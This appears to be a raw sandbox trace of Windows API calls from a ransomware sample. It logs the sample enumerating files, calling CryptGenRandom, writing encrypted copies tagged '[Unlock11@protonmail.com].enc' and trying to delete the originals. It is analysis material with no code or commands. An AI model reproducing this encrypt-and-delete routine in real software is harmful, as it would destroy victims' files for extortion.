GetCurrentThreadId () returned 0x9b0 [0121.878] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui")) returned 0x20 [0121.879] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dba80 | out: hHeap=0x2ad0000) returned 1 [0121.879] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui")) returned 0x20 [0121.880] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbd50 | out: hHeap=0x2ad0000) returned 1 [0121.880] GetCurrentThreadId () returned 0x9b0 [0121.880] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui")) returned 0x20 [0121.880] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2670 | out: hHeap=0x2ad0000) returned 1 [0121.881] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui")) returned 0x20 [0121.881] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbc10 | out: hHeap=0x2ad0000) returned 1 [0121.881] GetCurrentThreadId () returned 0x9b0 [0121.881] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui")) returned 0x20 [0121.882] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1f38 | out: hHeap=0x2ad0000) returned 1 [0121.882] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3887728, Size=0x64) returned 0x2a19658 [0121.882] GetCurrentThreadId () returned 0x9b0 [0121.883] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0x20 [0121.883] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db990 | out: hHeap=0x2ad0000) returned 1 [0121.883] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui")) returned 0x20 [0121.884] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbbc0 | out: hHeap=0x2ad0000) returned 1 [0121.884] GetCurrentThreadId () returned 0x9b0 [0121.884] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabtip.exe.mui")) returned 0x20 [0121.884] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db710 | out: hHeap=0x2ad0000) returned 1 [0121.884] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui")) returned 0x20 [0121.885] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbcb0 | out: hHeap=0x2ad0000) returned 1 [0121.885] GetCurrentThreadId () returned 0x9b0 [0121.885] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui")) returned 0x20 [0121.885] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a25c0 | out: hHeap=0x2ad0000) returned 1 [0121.886] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui")) returned 0x20 [0121.886] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbd50 | out: hHeap=0x2ad0000) returned 1 [0121.886] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0121.886] GetCurrentThreadId () returned 0x9b0 [0121.886] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi", lpFilePart=0x9bada4*="boxed-correct.avi") returned 0x4a [0121.886] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0121.886] GetCurrentThreadId () returned 0x9b0 [0121.886] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0121.886] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0121.887] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0121.887] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea1b0 [0121.887] GetCurrentThreadId () returned 0x9b0 [0121.887] GetCurrentThreadId () returned 0x9b0 [0121.887] GetCurrentThreadId () returned 0x9b0 [0121.887] GetCurrentThreadId () returned 0x9b0 [0121.887] GetCurrentThreadId () returned 0x9b0 [0121.887] GetCurrentThreadId () returned 0x9b0 [0121.887] GetCurrentThreadId () returned 0x9b0 [0121.887] GetCurrentThreadId () returned 0x9b0 [0121.888] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a3b058, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a3b058, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1b2d8)) returned 1 [0121.888] GetCurrentThreadId () returned 0x9b0 [0121.888] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a584 | out: pbBuffer=0x366a584) returned 1 [0121.888] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0121.888] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4410 [0121.888] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0121.888] GetCurrentThreadId () returned 0x9b0 [0121.888] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea368 [0121.889] GetCurrentThreadId () returned 0x9b0 [0121.889] GetCurrentThreadId () returned 0x9b0 [0121.889] GetCurrentThreadId () returned 0x9b0 [0121.889] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0121.889] GetFileType (hFile=0x39c) returned 0x1 [0121.889] GetCurrentThreadId () returned 0x9b0 [0121.889] GetFileType (hFile=0x39c) returned 0x1 [0121.890] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0121.890] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.890] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.890] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.890] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.890] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.890] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.890] GetLastError () returned 0x0 [0121.890] GetCurrentThreadId () returned 0x9b0 [0121.890] GetLastError () returned 0x0 [0121.890] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d08 | out: hHeap=0x2ad0000) returned 1 [0121.890] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2930 | out: hHeap=0x2ad0000) returned 1 [0121.890] GetLastError () returned 0x0 [0121.891] GetLastError () returned 0x0 [0121.891] GetLastError () returned 0x0 [0121.891] GetLastError () returned 0x0 [0121.891] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0121.891] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6aa8 [0121.891] GetLastError () returned 0x0 [0121.891] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0121.893] GetFileType (hFile=0x3ac) returned 0x1 [0121.893] GetLastError () returned 0x0 [0121.893] GetCurrentThreadId () returned 0x9b0 [0121.893] GetLastError () returned 0x0 [0121.893] GetFileType (hFile=0x3ac) returned 0x1 [0121.893] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0121.893] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.893] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.893] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.893] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.893] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.893] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.894] GetLastError () returned 0x0 [0121.894] GetCurrentThreadId () returned 0x9b0 [0121.894] GetLastError () returned 0x0 [0121.894] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6aa8 | out: hHeap=0x2ad0000) returned 1 [0121.894] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d62d0 | out: hHeap=0x2ad0000) returned 1 [0121.894] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0121.894] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0121.894] GetLastError () returned 0x0 [0121.894] GetLastError () returned 0x0 [0121.894] GetCurrentThreadId () returned 0x9b0 [0121.894] GetLastError () returned 0x0 [0121.895] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0121.895] GetLastError () returned 0x0 [0121.895] GetLastError () returned 0x0 [0121.895] GetCurrentThreadId () returned 0x9b0 [0121.895] GetLastError () returned 0x0 [0121.895] GetLastError () returned 0x0 [0121.897] GetLastError () returned 0x0 [0121.897] GetCurrentThreadId () returned 0x9b0 [0121.898] GetLastError () returned 0x0 [0121.898] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba80 | out: hHeap=0x2ad0000) returned 1 [0121.898] GetCurrentThreadId () returned 0x9b0 [0121.899] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0121.899] GetLastError () returned 0x0 [0121.899] GetLastError () returned 0x0 [0121.899] GetLastError () returned 0x0 [0121.899] GetLastError () returned 0x0 [0121.899] GetCurrentThreadId () returned 0x9b0 [0121.899] GetLastError () returned 0x0 [0121.899] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0121.900] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0121.900] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0121.900] GetLastError () returned 0x0 [0121.902] GetLastError () returned 0x0 [0121.902] GetCurrentThreadId () returned 0x9b0 [0121.902] GetLastError () returned 0x0 [0121.902] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0121.902] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0121.902] GetLastError () returned 0x0 [0121.902] GetLastError () returned 0x0 [0121.903] GetCurrentThreadId () returned 0x9b0 [0121.903] GetLastError () returned 0x0 [0121.903] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0121.903] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x37bf790, Size=0xb2f5) returned 0x37bf790 [0121.903] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6c08 [0121.903] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d28 | out: hHeap=0x2ad0000) returned 1 [0121.903] GetCurrentThreadId () returned 0x9b0 [0121.903] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xb2f8) returned 0x37caa90 [0121.903] GetLastError () returned 0x0 [0121.903] GetLastError () returned 0x0 [0121.903] GetLastError () returned 0x0 [0121.904] GetLastError () returned 0x0 [0121.904] GetCurrentThreadId () returned 0x9b0 [0121.904] GetLastError () returned 0x0 [0121.904] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37caa90 | out: hHeap=0x2ad0000) returned 1 [0121.904] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881288 [0121.904] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0121.904] GetLastError () returned 0x0 [0121.905] GetLastError () returned 0x0 [0121.905] GetCurrentThreadId () returned 0x9b0 [0121.905] GetLastError () returned 0x0 [0121.905] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0121.905] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0121.906] GetLastError () returned 0x0 [0121.906] GetLastError () returned 0x0 [0121.906] GetCurrentThreadId () returned 0x9b0 [0121.906] GetLastError () returned 0x0 [0121.906] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0121.906] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0121.906] GetLastError () returned 0x0 [0121.906] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0121.906] CloseHandle (hObject=0x3ac) returned 1 [0121.907] GetLastError () returned 0x0 [0121.907] GetCurrentThreadId () returned 0x9b0 [0121.907] GetLastError () returned 0x0 [0121.907] GetLastError () returned 0x0 [0121.907] CloseHandle (hObject=0x39c) returned 1 [0121.907] GetLastError () returned 0x0 [0121.907] GetCurrentThreadId () returned 0x9b0 [0121.907] GetLastError () returned 0x0 [0121.907] GetLastError () returned 0x0 [0121.907] GetLastError () returned 0x0 [0121.907] GetLastError () returned 0x0 [0121.908] GetLastError () returned 0x0 [0121.908] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0 [0121.908] GetLastError () returned 0x5 [0121.908] GetCurrentThreadId () returned 0x9b0 [0121.908] GetLastError () returned 0x5 [0121.908] GetLastError () returned 0x5 [0121.908] GetLastError () returned 0x5 [0121.908] GetLastError () returned 0x5 [0121.909] LocalFree (hMem=0x1053a70) returned 0x0 [0121.909] GetCurrentThreadId () returned 0x9b0 [0121.909] GetLastError () returned 0x5 [0121.909] GetLastError () returned 0x5 [0121.909] GetLastError () returned 0x5 [0121.909] GetLastError () returned 0x5 [0121.909] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi", lpFilePart=0x9bada4*="boxed-delete.avi") returned 0x49 [0121.909] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0121.909] GetCurrentThreadId () returned 0x9b0 [0121.909] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0121.909] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0121.910] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0121.910] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea110 [0121.910] GetLastError () returned 0x0 [0121.910] GetLastError () returned 0x0 [0121.910] GetLastError () returned 0x0 [0121.910] GetLastError () returned 0x0 [0121.910] GetCurrentThreadId () returned 0x9b0 [0121.910] GetLastError () returned 0x0 [0121.910] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea110 | out: hHeap=0x2ad0000) returned 1 [0121.910] GetCurrentThreadId () returned 0x9b0 [0121.910] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea110 [0121.911] GetLastError () returned 0x0 [0121.911] GetLastError () returned 0x0 [0121.911] GetLastError () returned 0x0 [0121.911] GetLastError () returned 0x0 [0121.911] GetCurrentThreadId () returned 0x9b0 [0121.911] GetLastError () returned 0x0 [0121.911] GetLastError () returned 0x0 [0121.911] GetLastError () returned 0x0 [0121.911] GetLastError () returned 0x0 [0121.911] GetLastError () returned 0x0 [0121.911] GetCurrentThreadId () returned 0x9b0 [0121.911] GetLastError () returned 0x0 [0121.912] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea110 | out: hHeap=0x2ad0000) returned 1 [0121.912] GetLastError () returned 0x0 [0121.912] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6348 | out: hHeap=0x2ad0000) returned 1 [0121.912] GetLastError () returned 0x0 [0121.912] GetLastError () returned 0x0 [0121.912] GetLastError () returned 0x0 [0121.912] GetCurrentThreadId () returned 0x9b0 [0121.912] GetLastError () returned 0x0 [0121.912] GetCurrentThreadId () returned 0x9b0 [0121.912] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8aa28 [0121.913] GetLastError () returned 0x0 [0121.913] GetLastError () returned 0x0 [0121.913] GetLastError () returned 0x0 [0121.913] GetLastError () returned 0x0 [0121.913] GetCurrentThreadId () returned 0x9b0 [0121.913] GetLastError () returned 0x0 [0121.913] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aa28 | out: hHeap=0x2ad0000) returned 1 [0121.913] GetLastError () returned 0x0 [0121.914] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d63c0 | out: hHeap=0x2ad0000) returned 1 [0121.914] GetLastError () returned 0x0 [0121.914] GetLastError () returned 0x0 [0121.914] GetLastError () returned 0x0 [0121.914] GetCurrentThreadId () returned 0x9b0 [0121.914] GetLastError () returned 0x0 [0121.914] GetLastError () returned 0x0 [0121.914] GetLastError () returned 0x0 [0121.914] GetLastError () returned 0x0 [0121.914] GetLastError () returned 0x0 [0121.915] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0121.915] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a612b1, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a612b1, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xbf28)) returned 1 [0121.915] GetLastError () returned 0x0 [0121.915] GetCurrentThreadId () returned 0x9b0 [0121.915] GetLastError () returned 0x0 [0121.915] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1f38 | out: hHeap=0x2ad0000) returned 1 [0121.915] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a7b4 | out: pbBuffer=0x366a7b4) returned 1 [0121.915] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0121.915] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3df0 [0121.915] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0121.915] GetCurrentThreadId () returned 0x9b0 [0121.916] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea1b0 [0121.916] GetLastError () returned 0x0 [0121.916] GetLastError () returned 0x0 [0121.916] GetLastError () returned 0x0 [0121.916] GetLastError () returned 0x0 [0121.916] GetCurrentThreadId () returned 0x9b0 [0121.916] GetLastError () returned 0x0 [0121.916] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea1b0 | out: hHeap=0x2ad0000) returned 1 [0121.916] GetCurrentThreadId () returned 0x9b0 [0121.916] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea340 [0121.917] GetLastError () returned 0x0 [0121.917] GetLastError () returned 0x0 [0121.917] GetLastError () returned 0x0 [0121.917] GetLastError () returned 0x0 [0121.917] GetCurrentThreadId () returned 0x9b0 [0121.917] GetLastError () returned 0x0 [0121.917] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea340 | out: hHeap=0x2ad0000) returned 1 [0121.917] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6d58 [0121.917] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a3df0 | out: hHeap=0x2ad0000) returned 1 [0121.917] GetLastError () returned 0x0 [0121.917] GetLastError () returned 0x0 [0121.918] GetLastError () returned 0x0 [0121.918] GetLastError () returned 0x0 [0121.918] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0121.918] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6c18 [0121.918] GetLastError () returned 0x0 [0121.918] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0121.918] GetFileType (hFile=0x39c) returned 0x1 [0121.918] GetLastError () returned 0x0 [0121.918] GetLastError () returned 0x0 [0121.919] GetFileType (hFile=0x39c) returned 0x1 [0121.919] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0121.919] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.919] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.919] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.919] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.919] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.919] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.919] GetLastError () returned 0x0 [0121.919] GetLastError () returned 0x0 [0121.919] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6c18 | out: hHeap=0x2ad0000) returned 1 [0121.919] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2720 | out: hHeap=0x2ad0000) returned 1 [0121.919] GetLastError () returned 0x0 [0121.920] GetLastError () returned 0x0 [0121.920] GetLastError () returned 0x0 [0121.920] GetLastError () returned 0x0 [0121.920] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0121.920] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6d68 [0121.920] GetLastError () returned 0x0 [0121.920] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0121.921] GetFileType (hFile=0x3ac) returned 0x1 [0121.921] GetLastError () returned 0x0 [0121.921] GetLastError () returned 0x0 [0121.921] GetFileType (hFile=0x3ac) returned 0x1 [0121.921] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0121.921] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.921] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.921] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.921] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.921] FileTimeToLocalFileTime 